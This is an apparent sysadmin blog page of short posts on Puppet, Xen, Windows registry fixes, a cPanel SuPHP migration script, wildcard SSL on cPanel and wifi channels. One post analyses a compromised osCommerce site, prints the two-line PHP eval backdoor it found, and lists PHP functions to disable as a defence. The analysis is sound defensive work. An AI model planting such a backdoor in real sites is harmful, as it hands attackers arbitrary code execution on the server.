Jun 022013
 

Puppet is a very powerful configuration management tool and it has been a pleasure to learn all of its nifty tricks. However like any tool, there are a number of quirks and gotchas that stand out, some of which are poorly documented or not at all. I've personally encountered two items in particular which are not documented well so I'll mention them here for posterity:

  1. Puppet does not create parent directories recursively. So if you are trying to create /usr/foo/bar, you need to ensure that /usr/foo exists first or the catalog compilation will fail. There are some hacks to do this without specifying a ton of separate file definitions, including an `mkdir -p` exec or a single file definition with an explicit list of parent directories. This is a "feature" and will not be fixed.[1]
  2. It is well documented that recursively managed directories will have the permission mask specified in the Puppet manifest applied to all files inside that directory. What isn't well documented is that Puppet automatically selects a standard 0755 for directories for which there is no (or a lower) permission mask set. The implication of this is thus twofold. The first is that if you want tighter permissions on specific directories, you have to manually and individually set them. Second, and perhaps more useful, is that you can specify a lower permission mask for the recursively managed directory and have it applied only to the files without having to worry about breaking access to your subdirectories.

More on the last point mentioned above; consider the following Puppet file snippet:

file {
  "foobar":
    ensure  => directory,
    owner   => root,
    group   => root,
    mode    => '0644',
    recurse => true,
    source  => 'puppet:///modules/foo/';
}

In this case Puppet is "smart" enough to only apply the 0644 mode to files, and retain needed execute bits on directories by applying a mode of 0755.

Aug 132012
 

You may find that on a freshly deployed Xen domU node (or perhaps a mis-configured one) that you're unable to log into the Xen console along with the following entry in your secure log:

Aug 13 19:56:31 server login: pam_securetty(login:auth): access denied: tty 'hvc0' is not secure !

The quick and dirty lowdown is that hvc0 is the Xen console device and it is not specified as one of the tty devices that root can log into. To fix this, edit the file /etc/securetty and on a new blank line, add the text hvc0. That's it -- enjoy your working Xen console.

Apr 112012
 

If you happen to happen to see the following error when installing a new piece of Windows software, read on!

A computer restart is required. You must restart this computer before installing SQL Server

This appears to be a bug with SQL server itself, though it may affect other software too. If after you restart the error is still displayed, then you'll need to do some registry editing. Go to Start -> Run (or use Winkey + R shortcut) -> type regedit and navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager and delete the key PendingFileRenameOperations. Close regedit and re-run the installer. Bingo!

Oct 042011
 

For some reason, Microsoft decided to recommend that DBAs provision a database partition of 16GB on their servers. This may have been reasonable back in 2003, but it doesn't scale well today. Whether or not you followed this recommendation, the Redmond guys figured they'd one-up their recommendation by enforcing a database size limitation of 16GB for Exchange 2003's mail store. SP2 raised this to a whopping 18GB; still insufficient for most applications.

To increase this limit, we must play with the registry -- oh joy! You have one entry for each of the public and private folder shares:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIS\Servername\Private-GUID

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIS\Servername\Public-GUID

Servername will most certainly be the name which you've chosen for the particular server you're on...surprise! Each of the GUID in the examples above will be a random string of characters and there will only be one such entry for each of public and private. Under each, create a new DWORD key named Database Size Limit in GB and set the decimal value equal to the limit you wish to set in GB. For those running Exchange 2003 standard, there is a hard limit of 75GB on each store, so you'll probably just want to set it for that (the reason for this limit I would imagine is unknown to anyone outside of Redmond). Those on Exchange 2003 Enterprise, there is only a theoretical limit of the underlying hardware, so just use your discretion or set it arbitrarily high, provided you didn't follow Microsoft's silly recommendation of 16GB database partitions!

Sep 192011
 

Being very familiar with the ln command in *nix, I sought a similar alternative for Windows when my small WD Raptor harddrive filled and I found myself needing to move my iPhone backup point to my backup drive. In newer versions of Windows, there is a handy shell command much like ln that allows one to do this. After moving my backup to D:\iPhone\Backup, I used the command below to have iTunes copy my subsquent iPhone backups to the new location instead of the default location at C:\Users\Username\AppData\Roaming\Apple Computer\MobileSync\Backup (where I was when I ran this command):

mklink /J Backup D:\iPhone\Backup
Jul 122011
 

I found the article below to be very useful in fixing a tricky one-off issue with using the three-finger salute (Ctrl+Alt+Del) over VNC. In this situation I was using UltraVNC in service mode with domain authentication enabled for the Domain Admins group. This provides a nice and easy central way to manage user access to VNC-enabled workstations, but doesn't help when the local computer is logged out or otherwise locked, which necessitates the Secure Attention Sequence (SAS) to re-login. The how-to below is for RealVNC but is also accurate for those using UltraVNC.

How can I Enable the Software Secure Attention Sequence Policy?

There are instructions in the article for fixing this both at a domain level via a GPO or machine-level using the local GPedit utility.

Apr 072011
 

cPanel makes it easy to move between PHP loader technologies, however when migrating for the first time from DSO to SuPHP (or some other CGI-based loaders), cPanel has no way to ensure that the permissions and settings are sane for use in an CGI-based loader environment. In particular, CGI-based loaders cannot parse PHP settings (e.g. php_value) in .htaccess files, and will throw a 500 error when these are encountered. Additionally, SuPHP enforces strict permissions on files/directories to ensure they are not writable/executable when they don't need to be. Many users these days chmod all of their files/directories to 777 to be able to run apps like Joomla under DSO PHP, which makes SuPHP quite angry; users will also see a 500 error when incorrect permissions are encountered under SuPHP.

So, to fix these two issues, I have written a little Bash script to automate this potentially arduous process. If you have any issues with the script, please get ahold of me via Twitter or my contact form.

The full script source is included below, and you will also find a direct download link at the bottom of this post.

#!/bin/bash
#	SuPHP PHP Settings Conversion Script
#	Written by Garrett Plasky -- www.gnode.net
#
#	Description: Used to migrate PHP settings on cPanel servers from .htaccess 
#	files to user-level php.ini's. This is primarily useful when converting
#	from DSO to SuPHP Apache modules.
#
#	*NOTE*: This process is not currently reversible by the script, so if you
#	want to go back to using PHP as a DSO, these changes will need to be 
#	manually reverted.
#
#
#	This program is free software: you can redistribute it and/or modify
#	it under the terms of the GNU General Public License as published by
#	the Free Software Foundation, either version 3 of the License, or
#	(at your option) any later version.
#
#	This program is distributed in the hope that it will be useful,
#	but WITHOUT ANY WARRANTY; without even the implied warranty of
#	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
#	TODO: Make php.ini settings able to be locked down to global php.ini and users have .my.ini instead (http://arunramabalan.blogspot.com/2011/01/methods-to-increase-security-on-suphp.html)
#	TODO: Wrap old php_* settings in .htaccess in <IfModule mod_php5.c></IfModule> tags instead of commenting them out

USERFILE=/etc/domainusers

if [ ! -e $USERFILE ]
then
	echo "!! Looks like you're trying to run this script on a non-cPanel server. Better luck next time. !!"
	exit 1
fi

DEFPHP=( `/usr/local/cpanel/bin/rebuild_phpconf --current|grep -E "PHP.* SAPI:"|awk -F':' {'print $2'}` )

if  echo ${DEFPHP[@]} | grep 'suphp' 1>/dev/null 
then
	echo "!! SuPHP Detected !!"
else
	echo "!! SuPHP is not yet enabled or compiled in. Please check your Apache+PHP settings."
	exit 1
fi

USERS=( `cat $USERFILE|awk -F':' {'print $1'}` )

for I in "${USERS[@]}"
do
	USERDIR=/home/$I/public_html
    cd $USERDIR
	echo "Fixing $I..."
    echo -e "\tEnsuring proper file ownership"
    find -type f ! -perm 644 -exec chmod 0644 {} \;
    echo -e "\tEnsuring proper directory ownership"
    find -type d ! -perm 755 -exec chmod 0755 {} \;
       
	# Skip this junk if they don't even have it!
	#USERHTA=$USERDIR/.htaccess
	#if [ ! -e $USERHTA ]
	#then
	#	continue
	#fi

	USERHTA=( `find $USERDIR -iname ".htaccess"` )

	for HT in ${USERHTA[@]}
	do
		# Grab the existing PHP settings from .htaccess (ugly but it works!)
		PARAM=( `grep '^[[:blank:]]*php_value\|^[[:blank:]]*php_admin_value\|^[[:blank:]]*php_flag\|^[[:blank:]]*php_admin_flag' $HT 2>/dev/null|awk '{print $2}'` )	
		VAL=( `grep '^[[:blank:]]*php_value\|^[[:blank:]]*php_admin_value\|^[[:blank:]]*php_flag\|^[[:blank:]]*php_admin_flag' $HT 2>/dev/null|awk '{print $3}'` )	

		# Comment out all php_* settings
		sed -i 's/^php_/#php_/' $HT

	    if [ ${#PARAM[@]} -gt 0 ]
	    then
			echo -e "\tUpdating $HT"
		    FILE=$(dirname $HT)/php.ini
            cat /usr/local/lib/php.ini > $FILE
			chown $I:$I $FILE

			# Updates each value from .htaccess in new user-level php.ini
		    C=0
			for J in ${PARAM[@]}
			do
				V=${VAL[$C]}
				echo -e "\t\tUpdating $J to $V in php.ini"
		        sed -i 's|^\('$J'\) = .*$|\1 = '$V'|i' $FILE	# Turning quoting on/off prevents problems with double quotes in $V
		        C=$C+1
			done
		fi
	done
done
echo "Fixing public_html ownership..."
/scripts/chownpublichtmls
echo "All Done!"
SuPHP Conversion Script (1192)
Mar 242011
 

The nature of the current OpenSSL implementation prevents multiple SSL virtual hosts on a single IP address. I won't go into detail here why that is, but with a wildcard certificate this means all of your subdomains will resolve to the same location, regardless of the non-SSL DocumentRoot specification. This post is specifically for those who are in the following situation:

  1. You have a wildcard certificate for a specific domain
  2. You wish to have subdomains of the primary domain resolve to a specific directory in the main public_html
  3. You do not want to have rewrite rules because they will cause https://sub.domain.com to resolve to https://sub.domain.com/sub/ or https://domain.com/sub/ (e.g. you want just https://sub.domain.com)

For those not needing #2 (you have separate content for each subdomain), simply create separate cPanel accounts for each subdomain and assign them a unique IP.

For those indifferent to the URLs in #3, simply use rewrite rules in the main .htaccess and stipulate the condition RewriteCond %{HTTPS} On to match only hits over https://.

So if you're still with me, follow the steps below to achieve what you're looking for. There are more steps involved in this process as oppose to modifying the httpd.conf directly but we all know that's a no-no on cPanel boxes and this way your settings are persistent across configuration rebuilds. Remember to change the example (user) and example.net (domain) references to suit your own situation!

  1. Set up the wildcard SSL for the main domain as usual through the WHM under Main >> SSL/TLS >> Install a SSL Certificate and Setup the Domain.
  2. Create the subdomain as usual inside cPanel, pointing it to the desired subdirectory (e.g. public_html/test/).
  3. Under Main >> IP Functions >> Show IP Address Usage in the WHM, locate an un-used IP address from the list to use for the new SSL Vhost.
  4. Also in the WHM, edit the DNS zone for example.net under Main >> DNS Functions >> Edit DNS Zone, changing the subdomain A record for 'test' to the new IP address chosen in step #2.
  5. Log into SSH and navigate to /var/cpanel/userdata/example
  6. Execute: cat example.net_SSL > test.example.net_SSL
  7. Edit the new test.example.net_SSL file taking note to edit the following lines *carefully* (no extra spaces/characters) as they pertain to the new subdomain data:
    documentroot:
    ip:
    path:
    serveralias:
    servername:

    The remainder of the lines in the file should remain unchanged unless you have a desire to change them.

  8. Save the file and then rebuild the Apache config using the script: /scripts/rebuildhttpdconf (ensure there are no errors [warnings are OK] before doing step #8).
  9. Restart Apache: /scripts/restartsrv_apache
  10. Edit the file /etc/domainips and add a line using the syntax:
    x.x.x.x: test.example.net

    Replacing x.x.x.x with the newly assigned IP.

You may now need to wait some time for the new DNS zone data to be propagated (depends on your zone TTL and DNS caching at your local resolvers). You can work around this by manually setting the IP: domain mapping temporarily in your Windows hosts file if you desire to test it sooner.

Mar 212011
 

I recently ran across another exploited PHP web application on a client's website. This exploit was thanks to the all-too-common file_manager.php exploit in osCommerce 2.2 RC2. This hole has since been patched by the osCommerce team howevver many people neglect to keep their applications up-to-date.

Background

The flavor of the month lately is for attackers to use gzinflate(), exec() and/or base64_decode() to obfuscate their malicious code in PHP files that have been uploaded via an exploit such as the one above. With this particular exploit, however, I encountered some code I'd not yet seen and it amazed me at how simple yet effective it was at propagating further abuse. The file was named 'imageth.php' hidden in a world-writable images/ subdirectory, containing the few lines of code below:

The Script

<?php  
if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc'])); 
?>

The simplicity of this script is really telling of its genius. There's nothing in it that would turn up on pattern match searches for commonly-used exploit functions like those mentioned above. This script simply takes some request data (typically POST since the request data isn't logged) and runs it through PHP's interpreter. Essentially the hacker now has the ability to do anything they would like, from running a bruteforce attack script, a backdoor shell script, or launching persistent background processes.

Securing your Server

In this case eval() of raw REQUEST data should be a dead-giveaway for the malicious nature of this script. Eval however is used much less often for exploits and more often for legitimate uses, so diabling it outright might be a problem. The single most effective security measure you can enact to prevent these types of exploits is to prevent the use of other problematic PHP functions. Caution should be taken in doing  so however since it can break the functionality of existing scripts, but generally the increased level of security this affords is an acceptable tradeoff for having to change/rewrite some scripts. Below is the disable_functions directive I recommend:

disable_functions = "show_source, system, passthru, exec, popen, proc_open, allow_url_fopen, eval, escapeshellcmd, escapeshellarg, proc_open, shell_exec, curl_exec, curl_multi_exec, popen"

Eval can also be added to that list if you are aware of the implications. Other general security recommendations are Suhosin, SuPHP for shared servers (or fcgi-based alternatives for speed), and always always always keeping your PHP applications updated!

Feb 152011
 

Living in an apartment has its ups and downs. As far as wireless internet goes, it's a bit of a double-edged sword. Sometimes you can leech some from a neighbor if your own is having issues, but when everything is working right, problems usually ensue. For me, they always materialize in the form of channel conflicts, especially since most devices use only a couple channels by default and most people don't change it. North American channels range from 1-11 with most devices using 1, 6, or 11. The good news here is that it leaves some room in the middle to work with.

I was disappointed to learn after installing a trusty staple, Netstumbler, that it is not supported under Windows 7 (or Vista). After looking around, I came across some information that indicated Windows 7 now has a built-in utility for displaying detailed wireless network information. The utility is called netsh and has a number of uses. In this case, I used the command below to get channel information for networks in range, and decided after analyzing them that 8 was the best option for me. Two days later and no more random wifi drops!

C:\Users\Garrett>netsh wlan show networks mode=Bssid

Interface name : Wireless Network Connection
There are 13 networks currently visible.

SSID 1 : ******
    Network type            : Infrastructure
    Authentication          : WPA-Personal
    Encryption              : TKIP
    BSSID 1                 : **********
         Signal             : 70%
         Radio type         : 802.11g
         Channel            : 1
         Basic rates (Mbps) : 1 2 5.5 11
         Other rates (Mbps) : 6 9 12 18 24 36 48 54

SSID 2 : ******
    Network type            : Infrastructure
    Authentication          : WPA2-Personal
    Encryption              : CCMP
    BSSID 1                 : **********
         Signal             : 99%
         Radio type         : 802.11n
         Channel            : 11
         Basic rates (Mbps) : 1 2 5.5 11
         Other rates (Mbps) : 6 9 12 18 24 36 48 54
....